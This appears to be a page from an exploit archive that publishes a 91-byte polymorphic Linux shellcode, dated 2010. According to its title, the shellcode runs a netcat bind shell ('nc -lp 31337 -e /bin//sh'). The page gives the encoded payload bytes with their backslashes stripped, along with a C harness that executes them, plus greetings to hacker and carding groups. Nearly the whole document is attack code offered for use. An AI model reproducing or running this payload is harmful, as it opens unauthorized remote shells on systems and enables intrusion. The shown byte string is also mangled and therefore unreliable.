[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : 91 bytes nc -lp 31337 -e /bin//sh polymorphic linux shellcode .
# Published : 2010-07-05
# Author :
# Previous Title : Linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes
# Next Title : win32 eggsearch shellcode (33 bytes)


/*
Title  : nc -lp 31337 -e /bin//sh polymorphic linux shellcode .
Name   : 91 bytes nc -lp 31337 -e /bin//sh polymorphic linux shellcode .
Date   : Mon Jul  5 16:58:50 WIT 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/

#include <stdio.h>

char shellcode[] = "xebx11x5ex31xc9xb1x43x80x6cx0exffx35x80xe9x01"
		   "x75xf6xebx05xe8xeaxffxffxffx95x66xf5x66x07xe5"
		   "x40x87x9dxa3x64xa8x9dx9dx64x64x97x9exbex18x87"
		   "x9dx62x98x98x98xbex16x87x20x3cx86x88xbex16x02"
		   "xb5x96x1dx29x34x34x34xa3x98x55x62xa1xa5x55x68"
		   "x66x68x68x6cx55x62x9ax55x64x97x9exa3x64x64xa8"
		   "x9d";
		
int main(void)
{
	fprintf(stdout,"Length: %dn",strlen(shellcode));
	(*(void(*)()) shellcode)();
}